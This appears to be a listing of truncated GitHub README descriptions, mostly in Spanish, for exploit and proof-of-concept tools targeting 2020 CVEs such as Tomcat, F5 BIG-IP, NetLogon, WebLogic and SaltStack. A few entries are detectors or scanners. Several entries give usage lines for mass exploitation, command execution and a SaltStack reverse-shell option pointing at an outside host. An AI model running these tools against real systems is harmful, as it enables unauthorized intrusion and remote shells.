CVE-2020-13942

CVE-2020-13942 Ejecute httpx o httprob en los objetivos antes de usar el script. USO ./CVE-2020-13942.sh target.txt Crédito Este script fue creado a partir del repositorio de Rohit Gautam...

CVE-2020-9283

Exploit para CVE-2020-9283 Este proyecto está inspirado en el POC original encontrado aquí github.com/mark-adams/exploits/CVE-2020-9283. Tenía curiosidad sobre cómo estaba implementada la librería SSH de Go, así que decidí implementar el PoC usando Go. Un breve artículo se puede encontrar aquí...

CNVD-2020-10487-Bulk-verification

CNVD-2020-10487CVE-2020-1938 Script de verificación por lotes Script por lotes basado en el archivo POC de @YDHCUI. Admite verificación en lote y capturas de pantalla automáticas para facilitar la revisión. 1. Preparación del entorno Para el entorno virtual, use conda para instalarlo busque por s...

cve-2020-11023-scanner

💥 Escáner CVE-2020-11023: Encuentra y Conquista el XSS Antes de que Sea Demasiado Tarde! 💥 ¿Te persigue el espectro de las vulnerabilidades de Cross-Site Scripting XSS acechando en tu código JavaScript? ¿Te preocupa que CVE-2020-11023 deje tus aplicaciones web abiertas a ataques? ¡No temas más! E...

poc-for-CVE-2020-13519-still-under-construction-

poc-for-CVE-2020-13519-still-under-construction- poc para CVE-2020-13519 aún en construcción. necesita refinamiento, pruebas y ajustes... Exploit EOP se basará en esta genial publicación de blog. https://idafchev.github.io/blog/wrmsr/...

CVE-2020-7799

cve-2020-7799 Detección por lotes de cve-2020-7799 Agregue un archivo text.txt en el mismo directorio El formato de URL dentro del archivo es el siguiente: www.baidu.com 132.231.132.132 133.12.122.13:8080 Ejecute simplemente python3 cve-2020-7799.py Nota: ¡Se prohíbe el uso de todos los recursos ...

Unomi-CVE-2020-13942

Script de explotación de ejecución remota de código en Apache Unomi CVE-2020-13942 Resumen de la vulnerabilidad Apache Unomi es una plataforma de datos de código abierto en Java; es un servidor Java diseñado para gestionar los datos de clientes, prospectos y visitantes, y ayudar a personalizar la...

callstranger-detector

Paquete Zeek que detecta intentos de CallStranger CVE-2020-12695 http://callstranger.com/ Este paquete intenta detectar intentos de explotación y exfiltración de datos de CallStranger CVE-2020-12695. Lo hace buscando tres elementos clave: 1. Comandos UPnP SUBSCRIBE con una URL de Notify que...

CVE-2020-3952

Este repositorio no tiene un README...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan Este módulo de Metasploit-Framework se puede utilizar para ayudar a las empresas a comprobar las últimas vulnerabilidades de Citrix divulgadas el 08 de julio de 2020. CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 El informe público del 8 de julio de 2020 por Donny Maasland...

GLPwn

GLPwn Una herramienta de hackeo para GLPI, que utiliza el listado de directorios de Apache y/o CVE-2020-15175 para volcar archivos y sesiones válidas. ¿Quién es vulnerable? Cualquier instancia de GLPI que tenga el listado de directorios de Apache ya habilitado en la carpeta /files Todas las...

F5-Big-IP-CVE-2020-5902-mass-exploiter

F5-Big-IP-CVE-2020-5902-mass-exploiter F5 Big-IP CVE-2020-5902 explotador/fuzzer masivo. uso: CVE-2020-5902-mass-exploiter.py -l list.txt -w workers...

CVE-2020-24186-exploit

CVE-2020-24186-exploit CVE-2020-24186的攻击脚本 Exp使用方法： Commands: Windows/Linux: python3 CVE-2020-24186.py -u -p Example： python3 CVE-2020-24186.py -u http://127.0.0.1 -p /wordpress/2022/04/04/hello-world...

AutomatedRoot

AutomatedRoot Rootea dispositivos MediaTek usando el exploit mtk-su CVE-2020-0069. Requisitos Python 3.9 o más reciente en %PATH% para Windows. ADB en %PATH% para Windows. El PoC del CVE-2020-0069 mtk-su. Uso Descarga los binarios de mtk-su desde la página de MediaTek's SU en XDA y muévelos a sus...

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION 申明 作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关 介绍 CVE-2020-0787-EXP Support ALL Windows Version...

CVE-2020-1472

Reproducción de la vulnerabilidad de escalada de privilegios de Windows NetLogon CVE-2020-1472 Es necesario descomprimir impacket.zip en la carpeta actual. El paquete más reciente de impacket se puede descargar aquí: https://github.com/SecureAuthCorp/impacket Para el proceso específico, consulte ...

CVE-2020-9484

CVE-2020-9484 PoC para CVE-2020-9484 PoC para CVE-2020-9484 Apache Tomcat RCE por deserialización CVE-2020-9484 Explorar la documentación » Comenzando 1. Clona este repositorio, luego podrás usar CVE-2020-9484 y modificar el código fuente si es necesario. 2. Descarga ysoserial jar 3. Coloca...

CVE-2020-14882-WebLogic

CVE-2020-14882 WebLogic Conéctate conmigo: Mira YouTube - https://youtu.be/O0ZnLXRY5Wo Captura de pantalla:...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Ejecución remota de código en Apache Tomcat Antes de ejecutar el script, cambie la ruta de ysoserial según la ruta de su archivo. ysoserial : https://github.com/frohoff/ysoserial Para más referencia :...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...